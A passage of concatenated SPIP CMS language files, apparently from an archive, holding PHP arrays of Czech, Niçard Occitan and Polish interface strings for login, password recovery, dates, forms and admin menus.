'lien_popularite' => 'oblíbenost: @popularite@%',
'lien_racine_site' => 'KOŘENOVÝ ADRESÁŘ STRÁNEK',
'lien_reessayer' => 'zkusit znovu',
'lien_repondre_message' => 'Odpovědět na zprávu',
'lien_supprimer' => 'odstranit',
'lien_tout_afficher' => 'Zobrazit vše',
'lien_visite_site' => 'navštívit tyto stránky',
'lien_visites' => '@visites@ návštěv',
'lien_voir_auteur' => 'Zobrazit autora',
'login_acces_prive' => 'přístup do neveřejné oblasti',
'login_autre_identifiant' => 'použít jiné ID',
'login_cookie_accepte' => 'Nastavte prohlížeč tak, aby je přijímal (alespoň pro tento web).',
'login_cookie_oblige' => 'Pro bezpečnou identifikaci musí být povoleny soubory cookies.',
'login_deconnexion_ok' => 'Byli jste odhlášeni.',
'login_erreur_pass' => 'Nesprávné heslo.',
'login_espace_prive' => 'neveřejná oblast',
'login_identifiant_inconnu' => 'Identifikace "@login@" je neznámá.',
'login_login' => 'Přihlášení:',
'login_login2' => 'Přihlašovací údaje (identifikace pro připojení k těmto stránkám):', # MODIF
'login_login_pass_incorrect' => '(Nesprávné uživatelské jméno nebo heslo).',
'login_motpasseoublie' => 'zapomněli jste heslo?',
'login_non_securise' => 'POZOR! Tento formulář není zabezpečený.
Pokud nechcete, aby vaše heslo mohl někdo
během přenosu po síti zachytit, zapněte v prohlížeči
Javascript a',
'login_nouvelle_tentative' => 'Další pokus',
'login_par_ici' => 'Jste registrováni... takto...',
'login_pass2' => 'Heslo:',
'login_preferez_refuser' => '<b>Nechcete-li soubory cookies povolit</b>, existuje i jiný (méně bezpečný) způsob připojení:',
'login_recharger' => 'znovu načíst tuto stránku',
'login_rester_identifie' => 'Pamatovat moje ID několik dní',
'login_retour_public' => 'Zpět na veřejné stránky',
'login_retour_site' => 'Zpět na veřejné stránky',
'login_retoursitepublic' => 'zpět na veřejné stránky',
'login_sans_cookiie' => 'Identifikace bez použití cookies',
'login_sinscrire' => 'registrovat',
'login_test_navigateur' => 'test prohlížeče/opakované připojení',
'login_verifiez_navigateur' => '(Přesvědčte se však, zda si prohlížeč nezapamatoval vaše heslo...)',
// M
'masquer_trad' => 'skrýt překlady',
'module_fichiers_langues' => 'Jazykové soubory',
// N
'navigateur_pas_redirige' => 'Nedojde-li k přesměrování prohlížeče, klepněte sem.',
// O
'onglet_affacer_base' => 'Odstranit databázi',
'onglet_auteur' => 'Autor',
'onglet_contenu_site' => 'Obsah webu',
'onglet_evolution_visite_mod' => 'Úroveň návštěv',
'onglet_fonctions_avances' => 'Rozšířené funkce',
'onglet_informations_personnelles' => 'Osobní údaje',
'onglet_interactivite' => 'Interaktivita',
'onglet_messagerie' => 'Systém zpráv',
'onglet_repartition_rubrique' => 'Rozdělení podle sekcí',
'onglet_save_restaur_base' => 'Záloha/obnova databáze',
'onglet_vider_cache' => 'Vymazat mezipamět (cache)',
// P
'pass_choix_pass' => 'Zadejte nové heslo:',
'pass_erreur' => 'Chyba',
'pass_erreur_acces_refuse' => '<b>Chyba:</b> K těmto stránkám již nemáte přístup.',
'pass_erreur_code_inconnu' => '<b>Chyba:</b> Zadané kódy neodpovídají žádnému návštěvníkovi, který má k těmto stránkám přístup.',
'pass_erreur_non_enregistre' => '<b>Chyba:</b> Adresa <tt>@email_oubli@</tt> není na těchto stránkách zaregistrována.',
'pass_erreur_non_valide' => '<b>Chyba:</b> Neplatný e-mail <tt>@email_oubli@</tt>!',
'pass_erreur_probleme_technique' => '<b>Chyba:</b> Z technických důvodů nebylo možné e-mail odeslat.',
'pass_espace_prive_bla' => 'Neveřejná oblast stránek je návštěvníkům
přístupná po registraci. Jakmile se zaregistrujete,
budete moci korigovat rozpracované články,
předkládat články ke schválení a budete se moci účastnit diskusních skupin.',
'pass_forum_bla' => 'Požádali jste o účast v diskusní skupině,
která je vyhrazena registrovaným uživatelům.',
'pass_indiquez_cidessous' => 'Dále zadejte elektronickou adresu, pod kterou
jste již zaregistrováni. Obdržíte
e-mail, kde bude vysvětleno, jak
získáte přístup zpět.',
'pass_mail_passcookie' => '(toto je automatická zpráva)
Přístup ke stránkám
@nom_site_spip@ (@adresse_site@)
získáte přechodem na adresu:
@sendcookie@
Tam zadáte nové heslo
a znovu se ke stránkám připojíte.
',
'pass_mot_oublie' => 'Zapomenuté heslo',
'pass_nouveau_enregistre' => 'Nové heslo bylo zapsáno.',
'pass_nouveau_pass' => 'Nové heslo',
'pass_ok' => 'V pořádku',
'pass_oubli_mot' => 'Zapomenuté heslo',
'pass_quitter_fenetre' => 'Odejít z tohoto okna',
'pass_rappel_login' => 'Připomenutí: Vaše uživatelské jméno (login) je "@login@".',
'pass_recevoir_mail' => 'Obdržíte e-mail s vysvětlením, jak znovu získat přístup k těmto stránkám.',
'pass_retour_public' => 'Zpět na veřejně přístupné stránky',
'pass_rien_a_faire_ici' => 'Tady není co dělat :-).',
'pass_vousinscrire' => 'Registrace přístupu na stránky',
'precedent' => 'předchozí',
'previsualisation' => 'Náhled',
'previsualiser' => 'Náhled',
// S
'squelette' => 'šablona',
'squelette_inclus_ligne' => 'vložená šablona, řádek',
'squelette_ligne' => 'šablona, řádek',
'stats_visites_et_popularite' => 'počet návštěv: @visites@; oblíbenost: @popularite@',
'suivant' => 'další',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytů',
'texte_actualite_site_1' => 'Až se s rozhraním obeznámíte, klepněte na "',
'texte_actualite_site_2' => 'úplné rozhraní',
'texte_actualite_site_3' => '» ke zpřístupnění více funkcí.',
'texte_creation_automatique_vignette' => 'Na těchto stránkách je zapnuta automatická tvorba náhledů a jejich předběžné zobrazení. Pokud pomocí tohoto formuláře nainstalujete obrázky ve formátu @gd_formats@, budou spojeny s náhledem, který má maximální velikost @taille_preview@ pixelů.',
'texte_documents_associes' => 'S článkem jsou spojeny následující dokumenty,
jež však do něj nejsou přímo
vloženy. Podle veřejného vzhledu stránek
se mohou zobrazit jako přiložené dokumenty.',
'texte_erreur_mise_niveau_base' => 'Při aktualizaci databáze došlo k chybě.
Obrázek <b>@fichier@</b> nebylo možné předat (článek @id_article@).<p>
Pečlivě si poznamenejte toto číslo, zkuste aktualizaci
a přesvědčte se, že obrázky jsou i nadále v článcích
zobrazeny.', # MODIF
'texte_inc_auth_1' => 'Přihlásili jsgte se jako
<b>@auth_login@</b>, ale toto uživatelské jméno (již) v databázi neexistuje.
Zkuste', # MODIF
'texte_inc_auth_2' => 'znovu připojit',
'texte_inc_auth_3' => 'po opuštění
restartujte v případě potřeby prohlížeč.',
'texte_inc_config' => 'Níže uvedené úpravy významně ovlivňují
fungování webu. Měnit tato nastavení by měli jenom uživatelé, kteří dobře vědí,
jak systém SPIP funguje. <br /><br /><b>Obecně
platí, že s těmito stránkami by měl pracovat pouze hlavní správce vašeho webu.</b>', # MODIF
'texte_inc_meta_1' => 'Při pokusu o zápis do souboru <code>@fichier@</code> došlo k systémové chybě. Jakožto správce webu',
'texte_inc_meta_2' => 'zkontrolujte oprávnění k zápisu ',
'texte_inc_meta_3' => 'do adresáře <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'rozpracované úpravy',
'texte_statut_poubelle' => 'v koši',
'texte_statut_propose_evaluation' => 'předloženo ke schválení',
'texte_statut_publie' => 'zveřejněno online',
'texte_statut_refuse' => 'odmítnuto',
'titre_ajouter_mot_cle' => 'PŘIDAT KLÍČOVÉ SLOVO:',
'titre_cadre_raccourcis' => 'KLÁVESOVÉ ZKRATKY:',
'titre_changer_couleur_interface' => 'Změna barvy rozhraní',
'titre_image_admin_article' => 'Máte možnost správy tohoto článku',
'titre_image_administrateur' => 'Správce',
'titre_image_aide' => 'Nápověda k položce',
'titre_image_auteur_supprime' => 'Autor odstraněn',
'titre_image_redacteur' => 'Redaktor bez přístupu',
'titre_image_redacteur_02' => 'Redaktor',
'titre_image_visiteur' => 'Návštěvník',
'titre_joindre_document' => 'PŘIPOJIT DOKUMENT',
'titre_mots_cles' => 'KLÍČOVÁ SLOVA',
'titre_probleme_technique' => 'Varování: Z technických důvodů (server SQL) je tato část webu nepřístupná.<p>Děkujeme vám za pochopení.', # MODIF
'titre_publier_document' => 'ZVEŘEJNIT DOKUMENT V TÉTO ČÁSTI',
'titre_statistiques' => 'Statistiky stránek',
'titre_titre_document' => 'Název dokumentu:',
'trad_reference' => '(referenční článek)', # MODIF
// Z
'zbug_balise_b_aval' => ': tag B je příliš pozdě ve smyčce',
'zbug_balise_inexistante' => 'error @from@: the #@balise@ tag does not exist', # MODIF
'zbug_boucle' => 'smyčka',
'zbug_boucle_recursive_undef' => 'nedefinovaná rekurzivní smyčka', # MODIF
'zbug_champ_hors_boucle' => 'Pole @champ@ je mimo smyčku',
'zbug_champ_hors_motif' => 'Pole @champ@ je mimo smyčku a má tag @motif@', # MODIF
'zbug_code' => 'kód',
'zbug_critere_inconnu' => 'neznámá podmínka @critere@', # MODIF
'zbug_distant_interdit' => 'externí data jsou zakázána', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons used on a table which does not have a simple primary key', # MODIF
'zbug_doublon_table_sans_index' => 'doubles in a table without an index', # MODIF
'zbug_erreur_boucle_double' => 'SMYČKA@id@: dvojí definice', # MODIF
'zbug_erreur_boucle_fermant' => 'SMYČKA@id@: chybí uzavírací tag', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Nesprávná syntax (BOUCLE)', # MODIF
'zbug_erreur_execution_page' => 'chyba při výpočtu stránky', # MODIF
'zbug_erreur_filtre' => 'Chyba - nedefinovaný filtr: <b>"@filtre@"</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} týká se jenom smyček (FORUMS) a (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Chyba či chyby v šabloně',
'zbug_info_erreur_squelette' => 'Na webu došlo k chybě',
'zbug_inversion_ordre_inexistant' => 'obrácené nebo neexistující pořadí', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION tag without {pagination} criterion, or used in a recursive loop', # MODIF
'zbug_parametres_inclus_incorrects' => 'Nesprávné parametry inkluze', # MODIF
'zbug_resultat' => 'výsledky',
'zbug_serveur_indefini' => 'Nedefinovaný server SQL', # MODIF
'zbug_table_inconnue' => 'Neznámá tabulka SQL "@table@"'
);
?>
public_oc_ni_mis.php 0000666 00000007601 15252547432 0010573 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_ni_mis
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuèlh',
'article' => 'Article',
'articles' => 'Article',
'articles_auteur' => 'Article d’aquel autour',
'articles_populaires' => 'Lu article lu mai poupulari',
'articles_rubrique' => 'Article d’aquela rùbrica',
'aucun_article' => 'Lì es mìnga d’article en aquela adressa',
'aucun_auteur' => 'Lì es mìnga d’autour en aquela adressa',
'aucun_site' => 'Lì es mìnga de sit en aquela adressa',
'aucune_breve' => 'Lì es mìnga de brèva en aquela adressa',
'aucune_rubrique' => 'Lì es mìnga de rùbrica en aquela adressa',
'auteur' => 'Autour',
'autres' => 'Autre',
'autres_breves' => 'Autri brèva',
'autres_groupes_mots_clefs' => 'Autre groupe de mot clau',
'autres_sites' => 'Autre sit',
// B
'bonjour' => 'Bouònjou',
// C
'commenter_site' => 'Coumentà aqueu sit',
'contact' => 'Countat',
'copie_document_impossible' => 'Empoussible de coupià lou doucumen',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrié ajust',
'dernieres_breves' => 'Darrieri brèva',
'derniers_articles' => 'Darrié article',
'derniers_commentaires' => 'Darrié coumentari',
'derniers_messages_forum' => 'Darrié message publicat en lu fòrou',
// E
'edition_mode_texte' => 'Edicioun en mòdou tèst de',
'en_reponse' => 'En respouòsta a :',
'en_resume' => 'En coumpendiat',
'envoyer_message' => 'Mandà un message',
'espace_prive' => 'Espaci privat',
// F
'formats_acceptes' => 'Fourmat achetat : @formats@.',
// H
'hierarchie_site' => 'Ierarquìa dóu sit',
// J
'jours' => 'jou',
// L
'lien_connecter' => 'Si counetà',
// M
'meme_auteur' => 'Dóu meme autour',
'meme_rubrique' => 'En la mema rùbrica',
'memes_auteurs' => 'Dei meme autour',
'message' => 'Message',
'messages_forum' => 'Message',
'messages_recents' => 'Lu message de fòrou lu mai rechent',
'mots_clef' => 'Mot clau',
'mots_clefs' => 'Mot clau',
'mots_clefs_meme_groupe' => 'Mot clau en lou meme groupe',
// N
'navigation' => 'navigacioun',
'nom' => 'Noum',
'nouveautes' => 'Li nouvità',
'nouveautes_web' => 'Nouvità soubre lou web',
'nouveaux_articles' => 'Article nòu',
'nouvelles_breves' => 'Brèva nouvèli',
// P
'page_precedente' => 'pàgina anterioura',
'page_suivante' => 'pàgina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Poudès participà a la vida d’estou sit e proupausà lu vouòstre article en v’inscrivant aquì souta. Receverès un e-mail que v’endiquerà lu vouòstre code d’achès a l’espaci privat dóu sit.',
'plan_site' => 'Plan dóu sit',
'popularite' => 'Poupularità',
'poster_message' => 'Poustà un message',
'proposer_site' => 'Poudès prepauà un sit a ajustà en aquela rùbrica :',
// R
'repondre_article' => 'Respouòndre en aquel article',
'repondre_breve' => 'Respouòndre en aquela brèva',
'resultats_recherche' => 'Resultat de la recerca',
'retour_debut_forums' => 'Retour au principi dei fòrou',
'rubrique' => 'Rùbrica',
'rubriques' => 'Rùbrica',
// S
'signatures_petition' => 'Firma',
'site_realise_avec_spip' => 'Sit realisat embé SPIP',
'sites_web' => 'Sit web',
'sous_rubriques' => 'Souta-rùbricas',
'spam' => 'Spam',
'suite' => 'suita',
'sur_web' => 'Soubre lou web',
'syndiquer_rubrique' => 'Sindicà aquela rùbrica',
'syndiquer_site' => 'Sindicà tout lou sit',
// T
'texte_lettre_information' => 'Vequì la letra d’informacioun dóu sit',
'texte_lettre_information_2' => 'Aquela letra fa lou chensimen dei nouvità publicadi despì',
// V
'ver_imprimer' => 'Versioun d’estampà',
'voir_en_ligne' => 'Veire en ligna',
'voir_squelette' => 'Veire l’esquelètrou d’aquela pàgina'
);
?>
spip_pl.php 0000666 00000105671 15252547432 0006752 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Polski [pl]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'd.paszkiewicz@ekstenso.com',
// A
'access_interface_graphique' => 'Powrót do pełnego interfejsu graficznego',
'access_mode_texte' => 'Uproszczony interfejs - tryb tekstowy',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modyfikuj artykuł',
'admin_modifier_auteur' => 'Modyfikuj autora',
'admin_modifier_breve' => 'Modyfikuj news',
'admin_modifier_mot' => 'Modyfikuj słowo kluczowe',
'admin_modifier_rubrique' => 'Modyfikuj dział',
'admin_recalculer' => 'Odśwież ',
'afficher_calendrier' => 'Wyświetl kalendarz',
'afficher_trad' => 'pokaż przekłady',
'alerte_maj_impossible' => '<b>Uwaga!</b> Uaktualnienie bazy danych SQL do wersji @version@ jest nie możliwe. Powodem jest prawdopodobnie brak uprawnień do modyfikacji bazy danych. Skontaktuj się z administratorem lub firmą hostingową.',
'alerte_modif_info_concourante' => 'UWAGA: Ta informacja była zmieniana w innym miejscu. Obecna wartość to:Cette information a été modifiée par ailleurs. La valeur actuelle est :',
'analyse_xml' => 'Analiza XML',
'annuler' => 'Anuluj',
'antispam_champ_vide' => 'Pozostaw puste:',
'articles_recents' => 'Najnowsze artykuły',
'avis_archive_incorrect' => 'ten plik archiwalny nie należy do SPIP',
'avis_archive_invalide' => 'plik archiwalny jest nieprawidłowy',
'avis_attention' => 'UWAGA !',
'avis_champ_incorrect_type_objet' => 'Nieprawiłowa nazwa pola @name@ dla obiektu typu @type@',
'avis_colonne_inexistante' => 'Kolumna @col@ nie istnieje',
'avis_erreur' => 'Błąd: zobacz poniżej’;',
'avis_erreur_connexion' => 'Błąd połączenia',
'avis_erreur_cookie' => 'problem z cookie',
'avis_erreur_fonction_contexte' => 'Błąd programistyczny. Ta funkcja nie powinna być wywoływana w tym kontekście.',
'avis_erreur_mysql' => 'Błąd SQL',
'avis_erreur_sauvegarde' => 'Błąd archiwizacji (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problem z dostępem do stron administracyjnych',
// B
'barre_a_accent_grave' => 'Wstaw dużą literę A z akcentem grave',
'barre_aide' => 'Użyj skrótów typograficznych do ulepszenia layoutu',
'barre_e_accent_aigu' => 'Wstaw dużą literę E z akcentem acute',
'barre_eo' => 'Wstaw ligaturę oe',
'barre_eo_maj' => 'Wstaw dużą ligaturę EO',
'barre_euro' => 'Umieść symbol €€',
'barre_gras' => 'Wstaw w {{boldzie}}',
'barre_guillemets' => 'Umieść w "cudzysłowie"',
'barre_guillemets_simples' => 'Umieść w innym “cudzysłowie”',
'barre_intertitre' => 'Przekształć w {{{śródtytuł}}}',
'barre_italic' => 'Wstaw w {italiku}',
'barre_lien' => 'Zmień w [hiperłącze->http://...]',
'barre_lien_input' => 'Proszę wpisać cel hiperłącza (może to być URL internetowy w formie http://www.mysite.com lub po prostu numer artykułu na tej stronie).',
'barre_note' => 'Zmień w [[Przypis]]',
'barre_paragraphe' => 'Utwórz paragraf',
'barre_quote' => '<quote>Zacytuj wiadomość</quote>',
'bouton_changer' => 'Zatwierdź',
'bouton_chercher' => 'Szukaj',
'bouton_choisir' => 'Wybierz',
'bouton_deplacer' => 'Przenieś',
'bouton_download' => 'Ściągnij',
'bouton_enregistrer' => 'Zapisz',
'bouton_radio_desactiver_messagerie_interne' => 'Dezaktywuj pocztę wewnętrzną',
'bouton_radio_envoi_annonces' => 'Wyślij ogłoszenia redakcyjne',
'bouton_radio_non_envoi_annonces' => 'Nie wysyłaj żadnych zawiadomień',
'bouton_radio_non_envoi_liste_nouveautes' => 'Nie wysyłaj najnowszej listy newsów',
'bouton_recharger_page' => 'ponownie załaduj tę stronę',
'bouton_telecharger' => 'Załaduj',
'bouton_upload' => 'Załaduj',
'bouton_valider' => 'Zatwierdź',
// C
'cal_apresmidi' => 'popołudniu',
'cal_jour_entier' => 'cały dzień',
'cal_matin' => 'rano',
'cal_par_jour' => 'wg dni',
'cal_par_mois' => 'wg miesięcy',
'cal_par_semaine' => 'wg tygodni',
'choix_couleur_interface' => 'kolor',
'choix_interface' => 'wybór interfejsu',
'colonne' => 'Kolumna',
'confirm_changer_statut' => 'Uwaga, czy na pewno chcesz zmienić status tego elementu ? Kontynuować ?',
'correcte' => 'poprawna',
// D
'date_aujourdhui' => 'dziś',
'date_avant_jc' => 'P.N.E.',
'date_dans' => 'w @delai@',
'date_de_mois_1' => '@j@ stycznia',
'date_de_mois_10' => '@j@ października',
'date_de_mois_11' => '@j@ listopada',
'date_de_mois_12' => '@j@ grudnia',
'date_de_mois_2' => '@j@ lutego',
'date_de_mois_3' => '@j@ marca',
'date_de_mois_4' => '@j@ kwietnia',
'date_de_mois_5' => '@j@ maja',
'date_de_mois_6' => '@j@ czerwca',
'date_de_mois_7' => '@j@ lipca',
'date_de_mois_8' => '@j@ sierpnia',
'date_de_mois_9' => '@j@ września',
'date_demain' => 'jutro',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ o @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@date@ @nomjour@ ',
'date_heures' => 'godziny',
'date_hier' => 'wczoraj',
'date_il_y_a' => 'jest @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Niedziela',
'date_jour_1_abbr' => 'nie.',
'date_jour_1_initiale' => 'n.',
'date_jour_2' => 'Poniedziałek',
'date_jour_2_abbr' => 'pon.',
'date_jour_2_initiale' => 'p.',
'date_jour_3' => 'Wtorek',
'date_jour_3_abbr' => 'wto.',
'date_jour_3_initiale' => 'w.',
'date_jour_4' => 'Środa',
'date_jour_4_abbr' => 'śro.',
'date_jour_4_initiale' => 'ś.',
'date_jour_5' => 'Czwartek',
'date_jour_5_abbr' => 'czw.',
'date_jour_5_initiale' => 'c.',
'date_jour_6' => 'Piątek',
'date_jour_6_abbr' => 'pią.',
'date_jour_6_initiale' => 'p.',
'date_jour_7' => 'Sobota',
'date_jour_7_abbr' => 'sob.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'dni',
'date_minutes' => 'minuty',
'date_mois' => 'miesiąc',
'date_mois_1' => 'Styczeń',
'date_mois_10' => 'Październik',
'date_mois_10_abbr' => 'paźdź.',
'date_mois_11' => 'Listopad',
'date_mois_11_abbr' => 'list.',
'date_mois_12' => 'Grudzień',
'date_mois_12_abbr' => 'gru.',
'date_mois_1_abbr' => 'sty.',
'date_mois_2' => 'Luty',
'date_mois_2_abbr' => 'lut.',
'date_mois_3' => 'Marzec',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'Kwiecień',
'date_mois_4_abbr' => 'kw.',
'date_mois_5' => 'Maj',
'date_mois_5_abbr' => 'maj',
'date_mois_6' => 'Czerwiec',
'date_mois_6_abbr' => 'czer.',
'date_mois_7' => 'Lipiec',
'date_mois_7_abbr' => 'lip.',
'date_mois_8' => 'Sierpień',
'date_mois_8_abbr' => 'sie.',
'date_mois_9' => 'Wrzesień',
'date_mois_9_abbr' => 'wrz.',
'date_saison_1' => 'zima',
'date_saison_2' => 'wiosna',
'date_saison_3' => 'lato',
'date_saison_4' => 'jesień',
'date_secondes' => 'sekundy',
'date_semaines' => 'tygodnie',
'date_un_mois' => 'miesiące',
'date_une_heure' => 'godzina',
'date_une_minute' => 'minuta',
'date_une_seconde' => 'sekunda',
'date_une_semaine' => 'tydzień',
'dirs_commencer' => ' w celu rzeczywistego rozpoczęcia instalacji',
'dirs_preliminaire' => 'Wstęp: <b>Ustawienia pozwoleń dostępu</b>',
'dirs_probleme_droits' => 'Problem z prawami dostępu',
'dirs_repertoires_absents' => '<p><b>Następujące katalogi nie zostały odnalezione :</b></p> <ul>@bad_dirs@.</ul>
<p>Możliwe, że powodem tego jest nazwa, w której pomylone zostały duże i małe litery.
Sprawdź nazwy pod względem małych i dużych liter.
Jeśli rzeczywiście wielkość liter jest różna, zmień nazwy katalogów za pomocą dowolnego programu FTP
<p>Po wykonaniu tej operacji będziesz mógł',
'dirs_repertoires_suivants' => '<p><b>Następujące katalogi nie są skonfigurowane do zapisu :</b></p> <ul>@bad_dirs@.</ul>
<p>Aby temu zapobiec, skorzystaj z klienta FTP i ureguluj konieczne prawa dostępu
do tych katalogów. Procedura jest wytłumaczona od A-Z w przewodniku instalacji.
<p>Kiedy dokonasz koniecznych zmian, będziesz mógł',
'double_occurrence' => 'Podwójne wystąpienie @balise@',
// E
'en_cours' => 'w trakcie',
'envoi_via_le_site' => 'Wyślij ze strony',
'erreur' => 'Błąd',
'erreur_balise_non_fermee' => 'ostatni znacznik nie jest zamknięty :',
'erreur_texte' => 'błąd/błędy',
'etape' => 'Etap',
// F
'fichier_introuvable' => 'Plik @fichier@ nie odnaleziony',
'form_auteur_confirmation' => 'Potwierdź swój e-mail',
'form_auteur_email_modifie' => 'Twój adres e-mail został zmieniony.',
'form_auteur_envoi_mail_confirmation' => 'Mail z potwierdzeniem został wysłany na adres @email@. Prosimy o kliknięcie w link, przesłany w e-mailu aby zatwierdzić adres e-mail.',
'form_auteur_mail_confirmation' => 'Dzień dobry,
Uruchomiłeś procedurę zmiany adresu e-mail.
Aby zatwierdzić nowy adres, wystarczy wejść pod podany niżej link,
jeśli tego nie uczynisz próba zmiany adresu zostanie anulowana:
@url@
',
'form_deja_inscrit' => 'Jesteś już zarejestrowany.',
'form_email_non_valide' => 'Twój adres e-mail nie jest prawidłowy.',
'form_forum_access_refuse' => 'Nie masz już dostępu do tej strony.',
'form_forum_bonjour' => 'Witaj @nom@,',
'form_forum_confirmer_email' => 'Aby zatwierdzić Twój adres e-mail, kliknij w ten link: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Ten adres e-mail jest już zarejestrowany, wskutek czego nie możesz używać swojego zwykłego hasła.',
'form_forum_identifiant_mail' => 'Twój nowy identyfikator został właśnie wysłany do Ciebie e-mailem.',
'form_forum_identifiants' => 'Osobista identyfikacja',
'form_forum_indiquer_nom_email' => 'Wpisz tutaj swoje nazwisko i adres e-mail. Wkrótce otrzymasz e-mailem swój osobisty identyfikator.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(to jest wiadomość automatyczna)',
'form_forum_pass' => 'hasło:',
'form_forum_probleme_mail' => 'Problem z pocztą: Twój identyfikator nie może zostać wysłany.',
'form_forum_voici1' => 'Oto Twóje dane, które pozwolą Ci wziąć udział w rozwoju serwisu
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Oto Twój identyfikator do proponowania artykułów w
serwisie "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Proszę wpisać swój adres e-mail.',
'form_indiquer_nom' => 'Proszę wpisać swoje nazwisko.',
'form_indiquer_nom_site' => 'Proszę wpisać nazwę swoich stron\\y.',
'form_pet_deja_enregistre' => 'Ta strona jest już zarejestrowana',
'form_pet_signature_pasprise' => 'Twój podpis został zlekceważony.',
'form_prop_confirmer_envoi' => 'Potwierdź wysłanie',
'form_prop_description' => 'Opis/komentarz',
'form_prop_enregistre' => 'Twoja propozycja została zapisana, pojawi się online po jej zatwierdzeniu przez administratora tej strony.',
'form_prop_envoyer' => 'Wyślij wiadomość',
'form_prop_indiquer_email' => 'Proszę wpisać prawidłowy adres e-mail',
'form_prop_indiquer_nom_site' => 'Proszę wpisać nazwę strony.',
'form_prop_indiquer_sujet' => 'Proszę wpisać temat',
'form_prop_message_envoye' => 'Wiadomość wysłana',
'form_prop_non_enregistre' => 'Twoja propozycja nie została zapisana.',
'form_prop_sujet' => 'Temat',
'form_prop_url_site' => 'URL stron\\y', # MODIF
'forum_non_inscrit' => 'Nie jesteś zarejestrowany, lub adres bądź hasło są nieprawidłowe.',
'forum_par_auteur' => 'wg @auteur@',
'forum_titre_erreur' => 'Błąd...',
// I
'ical_texte_rss_articles' => 'Plik "backend" artykułów tej strony znajduje się pod adresem:',
'ical_texte_rss_articles2' => 'Możesz również otrzymać pliki "backend" dla artykułów dla każdego z działów strony:',
'ical_texte_rss_breves' => 'Istnieje także plik zawierający wszystkie newsy opublikowane na stronie. Precyzując numer działu, otrzymasz newsy opublikowane w tym dziale.',
'icone_a_suivre' => 'Aktualności',
'icone_admin_site' => 'Administracja strony',
'icone_agenda' => 'Kalendarz',
'icone_aide_ligne' => 'Pomoc',
'icone_articles' => 'Artykuły',
'icone_auteurs' => 'Autorzy',
'icone_brouteur' => 'Menu podręczne',
'icone_configuration_site' => 'Konfiguracja',
'icone_configurer_site' => 'Konfiguruj swoją stronę',
'icone_creer_nouvel_auteur' => 'Utwórz nowego autora',
'icone_creer_rubrique' => 'Utwórz dział',
'icone_creer_sous_rubrique' => 'Utwórz poddział',
'icone_deconnecter' => 'Rozłącz',
'icone_discussions' => 'Dyskusje',
'icone_doc_rubrique' => 'Załączniki',
'icone_ecrire_article' => 'Napisz nowy artykuł',
'icone_edition_site' => 'Edycja',
'icone_gestion_langues' => 'Zarządzanie językami',
'icone_informations_personnelles' => 'Informacje osobiste',
'icone_interface_complet' => 'cały interfejs',
'icone_interface_simple' => 'Uproszczony interfejs',
'icone_maintenance_site' => 'Administracja stroną',
'icone_messagerie_personnelle' => 'Wiadomości prywatne',
'icone_repartition_debut' => 'Pokaż dystrybucję od początku',
'icone_rubriques' => 'Działy',
'icone_sauver_site' => 'Backup strony',
'icone_site_entier' => 'Cała strona',
'icone_sites_references' => 'Zlinkowane strony',
'icone_statistiques' => 'Statystyki strony',
'icone_suivi_activite' => 'Prace redakcyjne',
'icone_suivi_actualite' => 'Rozwój strony',
'icone_suivi_pettions' => 'Śledź/zarządzaj ogłoszeniami',
'icone_suivi_revisions' => 'Zmiany artykułów',
'icone_supprimer_document' => 'Usuń ten dokument',
'icone_supprimer_image' => 'Usuń ten obrazek',
'icone_tous_articles' => 'Wszystkie Twoje artykuły',
'icone_tous_auteur' => 'Wszyscy autorzy',
'icone_tous_visiteur' => 'Wszyscy odwiedzający',
'icone_visiter_site' => 'Przejdź do Twojego serwisu',
'icone_voir_en_ligne' => 'Obejrzyj online',
'img_indisponible' => 'obrazek niedostępny',
'impossible' => 'niemożliwe',
'info_a_suivre' => 'KONTYNUUJ »',
